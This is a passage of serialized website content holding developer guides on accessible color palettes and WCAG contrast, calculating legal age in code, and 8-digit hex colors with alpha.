Text",[202,3939,3300],{},[211,3941,3942,3953],{},[199,3943,3944,3947,3949,3951],{},[216,3945,3946],{},"AA (minimum)",[216,3948,3310],{},[216,3950,3313],{},[216,3952,3313],{},[199,3954,3955,3958,3960,3962],{},[216,3956,3957],{},"AAA (enhanced)",[216,3959,3323],{},[216,3961,3310],{},[216,3963,3060],{},[16,3965,3966,3968],{},[47,3967,3337],{}," is defined as 18pt (24px) or 14pt (18.66px) bold. Everything else counts as normal text.",[16,3970,3971,3973],{},[47,3972,3341],{}," include form fields, buttons, icons, and focus indicators. They need at least 3:1 contrast against adjacent colors.",[33,3975,3977],{"id":3976},"contrast-ratio-basics","Contrast Ratio Basics",[16,3979,3349],{},[41,3981,3982,3988,3993,3998,4003],{},[44,3983,3984,3987],{},[47,3985,3986],{},"1:1"," — No contrast (same color)",[44,3989,3990,3992],{},[47,3991,3313],{}," — Minimum for large text and UI elements",[44,3994,3995,3997],{},[47,3996,3310],{}," — Minimum for normal text (AA)",[44,3999,4000,4002],{},[47,4001,3323],{}," — Enhanced readability (AAA)",[44,4004,4005,4008],{},[47,4006,4007],{},"21:1"," — Maximum (black on white)",[11,4010,4012],{"id":4011},"building-a-palette-that-scales","Building a Palette That Scales",[33,4014,4016],{"id":4015},"step-1-start-with-neutral-tones","Step 1: Start with Neutral Tones",[16,4018,4019],{},"Create a gray scale that maps to semantic roles. Each step should have at least 4.5:1 contrast against adjacent steps for text usage.",[193,4021,4022,4038],{},[196,4023,4024],{},[199,4025,4026,4029,4032,4035],{},[202,4027,4028],{},"Token",[202,4030,4031],{},"Hex",[202,4033,4034],{},"Use",[202,4036,4037],{},"Contrast on White",[211,4039,4040,4056,4072,4088,4104],{},[199,4041,4042,4047,4050,4053],{},[216,4043,4044],{},[143,4045,4046],{},"gray-900",[216,4048,4049],{},"#111827",[216,4051,4052],{},"Primary text",[216,4054,4055],{},"17.4:1",[199,4057,4058,4063,4066,4069],{},[216,4059,4060],{},[143,4061,4062],{},"gray-700",[216,4064,4065],{},"#374151",[216,4067,4068],{},"Secondary text",[216,4070,4071],{},"9.3:1",[199,4073,4074,4079,4082,4085],{},[216,4075,4076],{},[143,4077,4078],{},"gray-500",[216,4080,4081],{},"#6b7280",[216,4083,4084],{},"Placeholder text",[216,4086,4087],{},"4.6:1",[199,4089,4090,4095,4098,4101],{},[216,4091,4092],{},[143,4093,4094],{},"gray-300",[216,4096,4097],{},"#d1d5db",[216,4099,4100],{},"Borders, dividers",[216,4102,4103],{},"1.6:1 (decorative)",[199,4105,4106,4111,4114,4117],{},[216,4107,4108],{},[143,4109,4110],{},"gray-100",[216,4112,4113],{},"#f3f4f6",[216,4115,4116],{},"Backgrounds",[216,4118,4119],{},"1.1:1 (background)",[33,4121,4123],{"id":4122},"step-2-add-brand-colors-with-contrast-pairs","Step 2: Add Brand Colors with Contrast Pairs",[16,4125,4126],{},"For each brand color, define both a background shade and a text-on-background shade that meets 4.5:1 contrast.",[135,4128,4130],{"className":1554,"code":4129,"language":1556,"meta":141,"style":141},":root {\n  --blue-500: #3b82f6;  \u002F* Brand primary *\u002F\n  --blue-600: #2563eb;  \u002F* Accessible text on light bg *\u002F\n  --blue-100: #dbeafe;  \u002F* Light background *\u002F\n}\n\n\u002F* Blue-600 on white = 4.6:1 (AA pass) *\u002F\n\u002F* White on blue-600 = 4.6:1 (AA pass) *\u002F\n\u002F* Blue-500 on white = 3.8:1 (AA fail for normal text) *\u002F\n",[143,4131,4132,4138,4153,4168,4183,4187,4191,4196,4201],{"__ignoreMap":141},[1560,4133,4134,4136],{"class":1562,"line":1563},[1560,4135,2207],{"class":1566},[1560,4137,1571],{"class":1570},[1560,4139,4140,4143,4145,4148,4150],{"class":1562,"line":337},[1560,4141,4142],{"class":2219},"  --blue-500",[1560,4144,1663],{"class":1570},[1560,4146,4147],{"class":1576},"#3b82f6",[1560,4149,3409],{"class":1570},[1560,4151,4152],{"class":1649},"\u002F* Brand primary *\u002F\n",[1560,4154,4155,4158,4160,4163,4165],{"class":1562,"line":343},[1560,4156,4157],{"class":2219},"  --blue-600",[1560,4159,1663],{"class":1570},[1560,4161,4162],{"class":1576},"#2563eb",[1560,4164,3409],{"class":1570},[1560,4166,4167],{"class":1649},"\u002F* Accessible text on light bg *\u002F\n",[1560,4169,4170,4173,4175,4178,4180],{"class":1562,"line":365},[1560,4171,4172],{"class":2219},"  --blue-100",[1560,4174,1663],{"class":1570},[1560,4176,4177],{"class":1576},"#dbeafe",[1560,4179,3409],{"class":1570},[1560,4181,4182],{"class":1649},"\u002F* Light background *\u002F\n",[1560,4184,4185],{"class":1562,"line":889},[1560,4186,1585],{"class":1570},[1560,4188,4189],{"class":1562,"line":1710},[1560,4190,1702],{"emptyLinePlaceholder":363},[1560,4192,4193],{"class":1562,"line":1717},[1560,4194,4195],{"class":1649},"\u002F* Blue-600 on white = 4.6:1 (AA pass) *\u002F\n",[1560,4197,4198],{"class":1562,"line":1747},[1560,4199,4200],{"class":1649},"\u002F* White on blue-600 = 4.6:1 (AA pass) *\u002F\n",[1560,4202,4203],{"class":1562,"line":2507},[1560,4204,4205],{"class":1649},"\u002F* Blue-500 on white = 3.8:1 (AA fail for normal text) *\u002F\n",[16,4207,4208,4209,4212],{},"Notice that ",[143,4210,4211],{},"blue-500"," fails AA for normal text on white. Many popular brand colors do. The fix: use a darker shade for text and keep the lighter shade for decorative or large-text use.",[33,4214,4216],{"id":4215},"step-3-define-semantic-colors","Step 3: Define Semantic Colors",[16,4218,4219],{},"Semantic colors signal meaning and must be distinguishable from each other, especially for users with color vision deficiency:",[193,4221,4222,4238],{},[196,4223,4224],{},[199,4225,4226,4229,4232,4235],{},[202,4227,4228],{},"Meaning",[202,4230,4231],{},"Color",[202,4233,4234],{},"Accessible Shade",[202,4236,4237],{},"Pair With",[211,4239,4240,4254,4268,4282],{},[199,4241,4242,4245,4248,4251],{},[216,4243,4244],{},"Success",[216,4246,4247],{},"Green",[216,4249,4250],{},"#15803d",[216,4252,4253],{},"White text: 5.4:1",[199,4255,4256,4259,4262,4265],{},[216,4257,4258],{},"Warning",[216,4260,4261],{},"Amber",[216,4263,4264],{},"#b45309",[216,4266,4267],{},"White text: 4.7:1",[199,4269,4270,4273,4276,4279],{},[216,4271,4272],{},"Error",[216,4274,4275],{},"Red",[216,4277,4278],{},"#dc2626",[216,4280,4281],{},"White text: 4.6:1",[199,4283,4284,4287,4290,4293],{},[216,4285,4286],{},"Info",[216,4288,4289],{},"Blue",[216,4291,4292],{},"#1d4ed8",[216,4294,4295],{},"White text: 8.6:1",[16,4297,4298,4301],{},[47,4299,4300],{},"Never rely on color alone"," to convey meaning. Pair every semantic color with an icon or text label so colorblind users can distinguish states.",[11,4303,4305],{"id":4304},"dark-mode-contrast","Dark Mode Contrast",[16,4307,4308],{},"Dark mode inverts the contrast challenge. You're not making dark text readable on light backgrounds — you're making light text readable on dark ones.",[16,4310,4311],{},"Common dark mode mistakes:",[41,4313,4314,4329,4335],{},[44,4315,4316,1663,4319,4322,4323,1531,4325,4328],{},[47,4317,4318],{},"Pure black backgrounds",[143,4320,4321],{},"#000000"," creates too harsh a contrast with white text (21:1), causing eye strain. Use ",[143,4324,4049],{},[143,4326,4327],{},"#1f2937"," instead.",[44,4330,4331,4334],{},[47,4332,4333],{},"Desaturated colors",": Brand colors that work on white often appear to \"vibrate\" on dark backgrounds. Reduce saturation by 10–20% for dark mode variants.",[44,4336,4337,1663,4340,4342,4343,4345],{},[47,4338,4339],{},"Low-contrast borders",[143,4341,4062],{}," borders on ",[143,4344,4046],{}," backgrounds often fail 3:1. Test explicitly.",[135,4347,4349],{"className":1554,"code":4348,"language":1556,"meta":141,"style":141},".dark {\n  --bg-primary: #111827;\n  --text-primary: #f9fafb;    \u002F* Contrast: 17.4:1 *\u002F\n  --text-secondary: #d1d5db;  \u002F* Contrast: 12.5:1 *\u002F\n  --text-placeholder: #9ca3af; \u002F* Contrast: 7.1:1 *\u002F\n  --border: #374151;           \u002F* Contrast: 2.3:1 (decorative only) *\u002F\n}\n",[143,4350,4351,4358,4368,4382,4395,4410,4425],{"__ignoreMap":141},[1560,4352,4353,4356],{"class":1562,"line":1563},[1560,4354,4355],{"class":1566},".dark",[1560,4357,1571],{"class":1570},[1560,4359,4360,4362,4364,4366],{"class":1562,"line":337},[1560,4361,3385],{"class":2219},[1560,4363,1663],{"class":1570},[1560,4365,4049],{"class":1576},[1560,4367,2228],{"class":1570},[1560,4369,4370,4372,4374,4377,4379],{"class":1562,"line":343},[1560,4371,3642],{"class":2219},[1560,4373,1663],{"class":1570},[1560,4375,4376],{"class":1576},"#f9fafb",[1560,4378,3393],{"class":1570},[1560,4380,4381],{"class":1649},"\u002F* Contrast: 17.4:1 *\u002F\n",[1560,4383,4384,4386,4388,4390,4392],{"class":1562,"line":365},[1560,4385,3656],{"class":2219},[1560,4387,1663],{"class":1570},[1560,4389,4097],{"class":1576},[1560,4391,3409],{"class":1570},[1560,4393,4394],{"class":1649},"\u002F* Contrast: 12.5:1 *\u002F\n",[1560,4396,4397,4400,4402,4405,4407],{"class":1562,"line":889},[1560,4398,4399],{"class":2219},"  --text-placeholder",[1560,4401,1663],{"class":1570},[1560,4403,4404],{"class":1576},"#9ca3af",[1560,4406,3664],{"class":1570},[1560,4408,4409],{"class":1649},"\u002F* Contrast: 7.1:1 *\u002F\n",[1560,4411,4412,4415,4417,4419,4422],{"class":1562,"line":1710},[1560,4413,4414],{"class":2219},"  --border",[1560,4416,1663],{"class":1570},[1560,4418,4065],{"class":1576},[1560,4420,4421],{"class":1570},";           ",[1560,4423,4424],{"class":1649},"\u002F* Contrast: 2.3:1 (decorative only) *\u002F\n",[1560,4426,4427],{"class":1562,"line":1717},[1560,4428,1585],{"class":1570},[11,4430,4432],{"id":4431},"testing-your-palette","Testing Your Palette",[33,4434,4436],{"id":4435},"automated-tools","Automated Tools",[41,4438,4439,4445,4451],{},[44,4440,4441,4444],{},[47,4442,4443],{},"Browser DevTools",": Chrome and Firefox show contrast ratios in the color picker",[44,4446,4447,4450],{},[47,4448,4449],{},"axe DevTools",": Scans entire pages for WCAG violations",[44,4452,4453,4456],{},[47,4454,4455],{},"Adobe Color",": Accessibility tools for palette design",[33,4458,4460],{"id":4459},"manual-testing-checklist","Manual Testing Checklist",[41,4462,4465,4474,4480,4486,4492,4498],{"className":4463},[4464],"contains-task-list",[44,4466,4469,4473],{"className":4467},[4468],"task-list-item",[4470,4471],"input",{"disabled":363,"type":4472},"checkbox"," All text meets 4.5:1 contrast against its background",[44,4475,4477,4479],{"className":4476},[4468],[4470,4478],{"disabled":363,"type":4472}," Large text and UI elements meet 3:1 contrast",[44,4481,4483,4485],{"className":4482},[4468],[4470,4484],{"disabled":363,"type":4472}," Semantic colors are distinguishable under color vision deficiency simulation",[44,4487,4489,4491],{"className":4488},[4468],[4470,4490],{"disabled":363,"type":4472}," Focus indicators meet 3:1 contrast against adjacent colors",[44,4493,4495,4497],{"className":4494},[4468],[4470,4496],{"disabled":363,"type":4472}," Dark mode meets the same contrast thresholds",[44,4499,4501,4503],{"className":4500},[4468],[4470,4502],{"disabled":363,"type":4472}," Link text is distinguishable from surrounding body text (not just by color)",[11,4505,321],{"id":320},[41,4507,4508,4514,4518],{},[44,4509,4510],{},[98,4511,4513],{"href":4512},"\u002Fguides\u002Fwcag-contrast-practical","WCAG Contrast Practical Guide",[44,4515,4516],{},[98,4517,2612],{"href":2611},[44,4519,4520],{},[98,4521,4523],{"href":4522},"\u002Fguides\u002Fcolor-harmony-theory","Color Harmony Theory",[11,4525,286],{"id":285},[16,4527,4528],{},"Build accessible color palettes with live contrast checking. Our tool shows WCAG compliance for every color pair as you design.",[16,4530,4531,4532],{},"👉 ",[98,4533,4534],{"href":2422},[47,4535,2423],{},[2043,4537,4538],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":4540},[4541,4542,4545,4550,4551,4555,4556],{"id":3911,"depth":337,"text":3912},{"id":3278,"depth":337,"text":3279,"children":4543},[4544],{"id":3976,"depth":343,"text":3977},{"id":4011,"depth":337,"text":4012,"children":4546},[4547,4548,4549],{"id":4015,"depth":343,"text":4016},{"id":4122,"depth":343,"text":4123},{"id":4215,"depth":343,"text":4216},{"id":4304,"depth":337,"text":4305},{"id":4431,"depth":337,"text":4432,"children":4552},[4553,4554],{"id":4435,"depth":343,"text":4436},{"id":4459,"depth":343,"text":4460},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Create color systems that meet WCAG contrast requirements while staying visually cohesive.",{"immutable":363},"\u002Fguides\u002Faccessible-color-palettes",{"title":3906,"description":4557},"guides\u002Faccessible-color-palettes","NKvf_iM3lQ8qnssI5to_xWkYjQMkRCIa0hHNPc-ij7E",{"id":4564,"title":4565,"body":4566,"date":2070,"description":5113,"extension":361,"meta":5114,"navigation":363,"path":5115,"readingTime":889,"seo":5116,"stem":5117,"__hash__":5118},"guides\u002Fguides\u002Fage-calculation-legal-requirements.md","Age Calculation for Legal Requirements",{"type":8,"value":4567,"toc":5094},[4568,4572,4575,4579,4582,4588,4591,4595,4602,4639,4642,4646,4649,4728,4732,4735,4738,4839,4843,4910,4914,4917,4921,4973,4977,4992,5002,5006,5009,5014,5018,5021,5058,5061,5063,5083,5085,5091],[11,4569,4571],{"id":4570},"when-exact-age-matters","When Exact Age Matters",[16,4573,4574],{},"Most of the time, knowing you are \"about 30\" is fine. But legal systems require precise age calculation. A single day determines whether someone can sign a contract, buy alcohol, or collect retirement benefits. Getting it wrong has real consequences: lawsuits, regulatory fines, or denied benefits.",[11,4576,4578],{"id":4577},"the-legal-age-rule-the-birthday-threshold","The Legal Age Rule: The Birthday Threshold",[16,4580,4581],{},"In nearly all jurisdictions, you reach an age on your birthday — not the day before. You become 18 at the start of the day you were born 18 years ago.",[135,4583,4586],{"className":4584,"code":4585,"language":140},[138],"Legal age reached on: Birth date + N years\n",[143,4587,4585],{"__ignoreMap":141},[16,4589,4590],{},"Someone born on June 15, 2008, turns 18 on June 15, 2026. On June 14, 2026, they are still 17.",[33,4592,4594],{"id":4593},"the-leap-year-edge-case","The Leap Year Edge Case",[16,4596,4597,4598,4601],{},"What about someone born on February 29? Most legal systems use ",[47,4599,4600],{},"February 28"," as the age-reached date in non-leap years:",[193,4603,4604,4617],{},[196,4605,4606],{},[199,4607,4608,4611,4614],{},[202,4609,4610],{},"Birth Date",[202,4612,4613],{},"18th Birthday (Non-Leap)",[202,4615,4616],{},"18th Birthday (Leap)",[211,4618,4619,4629],{},[199,4620,4621,4624,4627],{},[216,4622,4623],{},"Feb 28, 2008",[216,4625,4626],{},"Feb 28, 2026",[216,4628,4626],{},[199,4630,4631,4634,4636],{},[216,4632,4633],{},"Feb 29, 2008",[216,4635,4626],{},[216,4637,4638],{},"Feb 29, 2028",[16,4640,4641],{},"Some jurisdictions (including the UK) explicitly define February 28 as the legal birthday for leap-day births in common years. Always check local law.",[11,4643,4645],{"id":4644},"age-of-majority-by-jurisdiction","Age of Majority by Jurisdiction",[16,4647,4648],{},"The age at which a person gains full legal capacity varies:",[193,4650,4651,4663],{},[196,4652,4653],{},[199,4654,4655,4658,4661],{},[202,4656,4657],{},"Region",[202,4659,4660],{},"Age of Majority",[202,4662,2683],{},[211,4664,4665,4676,4687,4698,4708,4718],{},[199,4666,4667,4670,4673],{},[216,4668,4669],{},"United States",[216,4671,4672],{},"18 (most states)",[216,4674,4675],{},"Alabama and Nebraska: 19; Mississippi: 21",[199,4677,4678,4681,4684],{},[216,4679,4680],{},"United Kingdom",[216,4682,4683],{},"18",[216,4685,4686],{},"Scotland: 16 for some purposes",[199,4688,4689,4692,4695],{},[216,4690,4691],{},"Canada",[216,4693,4694],{},"18 (most provinces)",[216,4696,4697],{},"BC, NS, NB, NL, NWT, Yukon: 19",[199,4699,4700,4703,4705],{},[216,4701,4702],{},"Australia",[216,4704,4683],{},[216,4706,4707],{},"All states and territories",[199,4709,4710,4713,4715],{},[216,4711,4712],{},"Japan",[216,4714,4683],{},[216,4716,4717],{},"Lowered from 20 in 2022",[199,4719,4720,4723,4725],{},[216,4721,4722],{},"Germany",[216,4724,4683],{},[216,4726,4727],{},"Full capacity; limited at 16",[11,4729,4731],{"id":4730},"regulatory-age-requirements","Regulatory Age Requirements",[16,4733,4734],{},"Different ages apply depending on the regulated activity:",[33,4736,4669],{"id":4737},"united-states",[193,4739,4740,4753],{},[196,4741,4742],{},[199,4743,4744,4747,4750],{},[202,4745,4746],{},"Activity",[202,4748,4749],{},"Minimum Age",[202,4751,4752],{},"Governing Law",[211,4754,4755,4765,4776,4786,4796,4807,4818,4829],{},[199,4756,4757,4760,4762],{},[216,4758,4759],{},"Voting",[216,4761,4683],{},[216,4763,4764],{},"26th Amendment",[199,4766,4767,4770,4773],{},[216,4768,4769],{},"Alcohol purchase",[216,4771,4772],{},"21",[216,4774,4775],{},"National Minimum Drinking Age Act",[199,4777,4778,4781,4783],{},[216,4779,4780],{},"Tobacco purchase",[216,4782,4772],{},[216,4784,4785],{},"T21 (2019)",[199,4787,4788,4791,4793],{},[216,4789,4790],{},"Federal employment",[216,4792,4683],{},[216,4794,4795],{},"Varies by position",[199,4797,4798,4801,4804],{},[216,4799,4800],{},"Driver's license",[216,4802,4803],{},"16–18",[216,4805,4806],{},"State-dependent",[199,4808,4809,4812,4815],{},[216,4810,4811],{},"Military enlistment",[216,4813,4814],{},"17 (with consent)",[216,4816,4817],{},"10 USC §505",[199,4819,4820,4823,4826],{},[216,4821,4822],{},"Social Security (early)",[216,4824,4825],{},"62",[216,4827,4828],{},"SSA rules",[199,4830,4831,4834,4837],{},[216,4832,4833],{},"Medicare",[216,4835,4836],{},"65",[216,4838,4828],{},[33,4840,4842],{"id":4841},"european-union","European Union",[193,4844,4845,4857],{},[196,4846,4847],{},[199,4848,4849,4851,4854],{},[202,4850,4746],{},[202,4852,4853],{},"Typical Minimum Age",[202,4855,4856],{},"Variation",[211,4858,4859,4868,4878,4888,4899],{},[199,4860,4861,4863,4865],{},[216,4862,4759],{},[216,4864,4803],{},[216,4866,4867],{},"Austria: 16; most: 18",[199,4869,4870,4873,4875],{},[216,4871,4872],{},"Alcohol (beer\u002Fwine)",[216,4874,4803],{},[216,4876,4877],{},"Germany: 16; UK: 18",[199,4879,4880,4883,4885],{},[216,4881,4882],{},"Alcohol (spirits)",[216,4884,4683],{},[216,4886,4887],{},"EU-wide minimum",[199,4889,4890,4893,4896],{},[216,4891,4892],{},"Driving",[216,4894,4895],{},"17–18",[216,4897,4898],{},"Varies by country",[199,4900,4901,4904,4907],{},[216,4902,4903],{},"Employment (full-time)",[216,4905,4906],{},"15–16",[216,4908,4909],{},"EU Directive 94\u002F33\u002FEC",[11,4911,4913],{"id":4912},"age-verification-in-software","Age Verification in Software",[16,4915,4916],{},"Applications that enforce age restrictions must calculate age accurately:",[33,4918,4920],{"id":4919},"correct-calculation","Correct Calculation",[135,4922,4924],{"className":1607,"code":4923,"language":1609,"meta":141,"style":141},"function calculateAge(birthDate, referenceDate = new Date()) {\n  let age = referenceDate.getFullYear() - birthDate.getFullYear();\n  const monthDiff = referenceDate.getMonth() - birthDate.getMonth();\n\n  if (monthDiff \u003C 0 || (monthDiff === 0 && referenceDate.getDate() \u003C birthDate.getDate())) {\n    age--;\n  }\n\n  return age;\n}\n",[143,4925,4926,4931,4936,4941,4945,4950,4955,4960,4964,4969],{"__ignoreMap":141},[1560,4927,4928],{"class":1562,"line":1563},[1560,4929,4930],{},"function calculateAge(birthDate, referenceDate = new Date()) {\n",[1560,4932,4933],{"class":1562,"line":337},[1560,4934,4935],{},"  let age = referenceDate.getFullYear() - birthDate.getFullYear();\n",[1560,4937,4938],{"class":1562,"line":343},[1560,4939,4940],{},"  const monthDiff = referenceDate.getMonth() - birthDate.getMonth();\n",[1560,4942,4943],{"class":1562,"line":365},[1560,4944,1702],{"emptyLinePlaceholder":363},[1560,4946,4947],{"class":1562,"line":889},[1560,4948,4949],{},"  if (monthDiff \u003C 0 || (monthDiff === 0 && referenceDate.getDate() \u003C birthDate.getDate())) {\n",[1560,4951,4952],{"class":1562,"line":1710},[1560,4953,4954],{},"    age--;\n",[1560,4956,4957],{"class":1562,"line":1717},[1560,4958,4959],{},"  }\n",[1560,4961,4962],{"class":1562,"line":1747},[1560,4963,1702],{"emptyLinePlaceholder":363},[1560,4965,4966],{"class":1562,"line":2507},[1560,4967,4968],{},"  return age;\n",[1560,4970,4971],{"class":1562,"line":2524},[1560,4972,1585],{},[33,4974,4976],{"id":4975},"common-bug-year-only-subtraction","Common Bug: Year-Only Subtraction",[135,4978,4980],{"className":1607,"code":4979,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG — fails for people who haven't had their birthday yet this year\nconst age = referenceDate.getFullYear() - birthDate.getFullYear();\n",[143,4981,4982,4987],{"__ignoreMap":141},[1560,4983,4984],{"class":1562,"line":1563},[1560,4985,4986],{},"\u002F\u002F WRONG — fails for people who haven't had their birthday yet this year\n",[1560,4988,4989],{"class":1562,"line":337},[1560,4990,4991],{},"const age = referenceDate.getFullYear() - birthDate.getFullYear();\n",[16,4993,4994,4995,4998,4999,5001],{},"On March 1, 2026, someone born July 15, 2008, is ",[47,4996,4997],{},"17"," — not ",[47,5000,4683],{},". Year-only subtraction gives 18, incorrectly passing age checks.",[33,5003,5005],{"id":5004},"another-bug-time-zone-mismatch","Another Bug: Time Zone Mismatch",[16,5007,5008],{},"If the server is in UTC and the user is in PST, a birth date of January 1 might be stored as December 31 UTC. The age calculation runs against the wrong date.",[16,5010,5011,5013],{},[47,5012,3690],{},": Always compute age against the user's local date, not the server's UTC date.",[11,5015,5017],{"id":5016},"age-in-completed-years-vs-age-at-next-birthday","Age in Completed Years vs. Age at Next Birthday",[16,5019,5020],{},"Legal systems sometimes ask different questions:",[193,5022,5023,5035],{},[196,5024,5025],{},[199,5026,5027,5030,5032],{},[202,5028,5029],{},"Question",[202,5031,4228],{},[202,5033,5034],{},"Example (born July 15, 2008)",[211,5036,5037,5048],{},[199,5038,5039,5042,5045],{},[216,5040,5041],{},"Age in completed years",[216,5043,5044],{},"How many full years have passed?",[216,5046,5047],{},"17 (as of March 1, 2026)",[199,5049,5050,5053,5056],{},[216,5051,5052],{},"Age at next birthday",[216,5054,5055],{},"How old will you turn next?",[216,5057,4683],{},[16,5059,5060],{},"Life insurance applications and some government forms ask for \"age at next birthday\" rather than completed years. Confusing the two leads to incorrect premium calculations or ineligible claims.",[11,5062,1355],{"id":1354},[41,5064,5065,5068,5071,5074,5077,5080],{},[44,5066,5067],{},"Legal age is reached on the birthday, not the day before — a one-day error can cause regulatory violations",[44,5069,5070],{},"Leap-day births (February 29) reach legal age on February 28 in common years in most jurisdictions",[44,5072,5073],{},"Year-only subtraction is the most common age calculation bug — always check month and day",[44,5075,5076],{},"Time zone differences between server and user can shift the birth date by a day",[44,5078,5079],{},"Different activities have different legal age thresholds — verify the specific requirement for each use case",[44,5081,5082],{},"\"Age in completed years\" and \"age at next birthday\" are different values — use whichever the form or regulation specifies",[11,5084,286],{"id":285},[16,5086,5087,5088,5090],{},"Calculate exact age in years, months, and days with our ",[98,5089,101],{"href":100},". Enter a birth date and reference date to see precise results — no manual math required.",[2043,5092,5093],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":5095},[5096,5097,5100,5101,5105,5110,5111,5112],{"id":4570,"depth":337,"text":4571},{"id":4577,"depth":337,"text":4578,"children":5098},[5099],{"id":4593,"depth":343,"text":4594},{"id":4644,"depth":337,"text":4645},{"id":4730,"depth":337,"text":4731,"children":5102},[5103,5104],{"id":4737,"depth":343,"text":4669},{"id":4841,"depth":343,"text":4842},{"id":4912,"depth":337,"text":4913,"children":5106},[5107,5108,5109],{"id":4919,"depth":343,"text":4920},{"id":4975,"depth":343,"text":4976},{"id":5004,"depth":343,"text":5005},{"id":5016,"depth":337,"text":5017},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"When legal age matters — from drinking laws to retirement benefits — exact date arithmetic determines eligibility. Learn the precise rules and edge cases.",{"immutable":363},"\u002Fguides\u002Fage-calculation-legal-requirements",{"title":4565,"description":5113},"guides\u002Fage-calculation-legal-requirements","WkQ2gn4cmh397hCZrLl5fWjBKk6t7XPSy_FxNGAmnsk",{"id":5120,"title":5121,"body":5122,"date":2070,"description":6011,"extension":361,"meta":6012,"navigation":363,"path":6013,"readingTime":1710,"seo":6014,"stem":6015,"__hash__":6016},"guides\u002Fguides\u002Falpha-channel-hex-colors.md","8-Digit HEX Colors With Alpha",{"type":8,"value":5123,"toc":5994},[5124,5128,5142,5175,5193,5197,5200,5245,5249,5260,5404,5416,5420,5423,5452,5456,5469,5506,5509,5513,5516,5569,5572,5597,5601,5605,5608,5725,5729,5732,5793,5797,5800,5855,5859,5933,5936,5938,5982,5984,5991],[11,5125,5127],{"id":5126},"the-evolution-of-hex-colors","The Evolution of Hex Colors",[16,5129,5130,5131,1856,5134,5137,5138,5141],{},"For decades, CSS supported only 3-digit and 6-digit hex notation — ",[143,5132,5133],{},"#RGB",[143,5135,5136],{},"#RRGGBB"," — with no way to specify transparency. To add alpha, you had to switch to ",[143,5139,5140],{},"rgba()"," notation:",[135,5143,5145],{"className":1554,"code":5144,"language":1556,"meta":141,"style":141},"\u002F* Old approach: mix notation styles *\u002F\nbackground: #ff6600;\nbackground: rgba(255, 102, 0, 0.8); \u002F* must convert hex to decimal *\u002F\n",[143,5146,5147,5152,5161],{"__ignoreMap":141},[1560,5148,5149],{"class":1562,"line":1563},[1560,5150,5151],{"class":1649},"\u002F* Old approach: mix notation styles *\u002F\n",[1560,5153,5154,5157],{"class":1562,"line":337},[1560,5155,5156],{"class":1570},"background: ",[1560,5158,5160],{"class":5159},"s7hpK","#ff6600;\n",[1560,5162,5163,5166,5169,5172],{"class":1562,"line":343},[1560,5164,5165],{"class":1570},"background: rgba(255, 102, 0, 0",[1560,5167,5168],{"class":1566},".8",[1560,5170,5171],{"class":1570},"); ",[1560,5173,5174],{"class":1649},"\u002F* must convert hex to decimal *\u002F\n",[16,5176,5177,5178,5181,5182,5185,5186,5181,5189,5192],{},"Modern CSS adds two more hex formats: ",[47,5179,5180],{},"8-digit"," (",[143,5183,5184],{},"#RRGGBBAA",") and ",[47,5187,5188],{},"4-digit",[143,5190,5191],{},"#RGBA","). These let you specify transparency without leaving hex notation or converting to decimal values.",[11,5194,5196],{"id":5195},"_8-digit-hex-syntax","8-Digit Hex Syntax",[16,5198,5199],{},"The last two digits represent the alpha channel in hexadecimal:",[135,5201,5203],{"className":1554,"code":5202,"language":1556,"meta":141,"style":141},"background: #ff6600ff; \u002F* fully opaque orange *\u002F\nbackground: #ff6600cc; \u002F* orange at 80% opacity *\u002F\nbackground: #ff660080; \u002F* orange at 50% opacity *\u002F\nbackground: #ff660000; \u002F* fully transparent orange *\u002F\n",[143,5204,5205,5215,5225,5235],{"__ignoreMap":141},[1560,5206,5207,5209,5212],{"class":1562,"line":1563},[1560,5208,5156],{"class":1570},[1560,5210,5211],{"class":5159},"#ff6600ff;",[1560,5213,5214],{"class":1649}," \u002F* fully opaque orange *\u002F\n",[1560,5216,5217,5219,5222],{"class":1562,"line":337},[1560,5218,5156],{"class":1570},[1560,5220,5221],{"class":5159},"#ff6600cc;",[1560,5223,5224],{"class":1649}," \u002F* orange at 80% opacity *\u002F\n",[1560,5226,5227,5229,5232],{"class":1562,"line":343},[1560,5228,5156],{"class":1570},[1560,5230,5231],{"class":5159},"#ff660080;",[1560,5233,5234],{"class":1649}," \u002F* orange at 50% opacity 